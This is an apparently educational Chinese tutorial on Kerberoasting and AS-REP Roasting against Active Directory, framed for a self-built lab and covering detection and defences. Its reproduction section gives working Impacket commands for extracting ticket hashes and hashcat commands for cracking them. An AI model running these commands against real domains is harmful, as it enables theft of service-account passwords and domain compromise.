写在前面:合法学习边界
Kerberoasting 与 AS-REP Roasting 只能在自建的 AD 域靶场进行。在真实域环境中抓取和破解服务账号密码可能触犯法律。
一、漏洞原理
Kerberos 认证时,票据里包含服务账号密码派生的密钥。普通域用户可以合法申请这些票据,但可以拿回本地离线破解。
两种攻击的本质:
1
2
| Kerberoasting:申请 SPN 服务账号的 TGS 票据 → 破解其密码
AS-REP Roasting:对未开预认证的账号申请 TGT → 破解密码
|
共同点:Kerberos 协议把密码哈希放进可离线带走的票据里,攻击者拿到的不是密码本身,而是可以破解的哈希。
前提条件:
1
2
3
| 一个普通域用户账号(Kerberoasting)
存在 SPN 服务账号(Kerberoasting)
存在 DONT_REQ_PREAUTH 账号(AS-REP Roasting)
|

二、影响与危害
1
2
3
4
| 域内服务账号密码被离线破解
破解后访问对应服务,甚至提权到域管
无需频繁登录,告警少、隐蔽性高
批量申请票据可能造成大量服务票据请求
|
风险等级:高。普通域用户权限即可发起,一旦服务账号密码弱,域基本就守不住。
三、利用 / 复现
环境准备
自建 AD 靶场,准备:
1
2
3
| 域控 + 普通域用户
一个 SPN 服务账号(密码设简单,如 P@ssw0rd123)
一个关闭预认证的账号
|
Kerberoasting 步骤
1
2
3
4
5
6
7
8
9
10
11
| # 1. 找 SPN 服务账号
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10
# 解释:列出域内可 Kerberoast 的 SPN 服务账号
# 2. 导出票据哈希
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt
# 解释:申请 TGS 票据并保存,票据里带服务账号密码哈希
# 3. 离线破解(模式 13100)
hashcat -m 13100 kerberoast.txt rockyou.txt
# 解释:13100 是 Kerberoast TGS 哈希模式,rockyou 为字典
|
域内 Windows 上用 Rubeus:
AS-REP Roasting 步骤
1
2
3
4
5
6
7
8
9
10
| # 1. 找关闭预认证的账号
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10
# 解释:对用户列表尝试申请 TGT,能成功的就是没开预认证的账号
# 2. 导出哈希(模式 18200)
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep.txt
# 解释:保存 AS-REP 哈希,18200 是 AS-REP 破解模式
# 3. 破解
hashcat -m 18200 asrep.txt rockyou.txt
|
结果验证
1
2
| hashcat 显示 Cracked 并给出明文密码
用该账号密码验证登录对应服务
|
四、检测
1
2
3
4
| 大量 4769 事件(服务票据申请异常)
同一账号频繁申请不同 SPN 票据
异常时间段的 kerberoast 请求
账户被多次尝试(AS-REP 场景)
|
五、防御
1
2
3
4
| 服务账号用随机高复杂度密码
服务账号密码定期轮换
清理不需要的 SPN 账号
关闭非必要账号的“不要求预认证”
|
六、修复
1
2
3
4
| 对已泄露的服务账号:立即重置高强度密码
对所有 SPN 服务账号统一轮换
迁移到组托管服务账号 gMSA(自动轮换密码)
升级密码策略并审计弱密码账号
|
七、小结
Kerberoasting / AS-REP Roasting 的共同本质是“票据里带密码哈希,可以离线破解”。普通域用户就能发起,破解成本只取决于密码强度。防御核心是高复杂度密码 + 轮换 + 监控服务票据申请。